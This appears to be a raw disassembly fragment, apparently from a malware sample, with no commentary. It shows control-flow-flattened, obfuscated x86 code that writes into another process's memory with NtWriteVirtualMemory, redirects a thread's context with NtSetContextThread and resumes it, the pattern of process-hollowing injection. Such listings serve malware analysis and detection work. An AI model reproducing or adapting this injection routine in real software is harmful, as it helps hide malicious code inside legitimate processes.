mov dword [ebp - 0x198], 0xebad9961
jmp 0x1000753b
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10007dc0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ax, word [ebp - 0xf0]
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x198], 0x2b5d7fe5
jmp 0x1000753b
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x15c]
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x198], 0xdd298d3e
jmp 0x1000753b
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x198], 0x7b265aa3
jmp 0x1000753b
mov dword [ebp - 0x198], 0x6b03322d
jmp 0x1000753b
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x198], 0x74df79f6
jmp 0x1000753b
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x9c]
add ecx, 0x45684897
add ecx, eax
sub ecx, 0x45684897
mov eax, dword [ebp - 0x144]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x144]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x198], 0x4e835a75
jmp 0x1000753b
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
sub ecx, 0x4d1852cc
add ecx, eax
add ecx, 0x4d1852cc
mov eax, dword [ebp - 0x168]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0x34a95062
jmp 0x1000753b
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x198], 0x8e228184
jmp 0x1000753b
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x180]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x184]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x198], 0xf5e7e546
jmp 0x1000753b
jmp 0x10003da0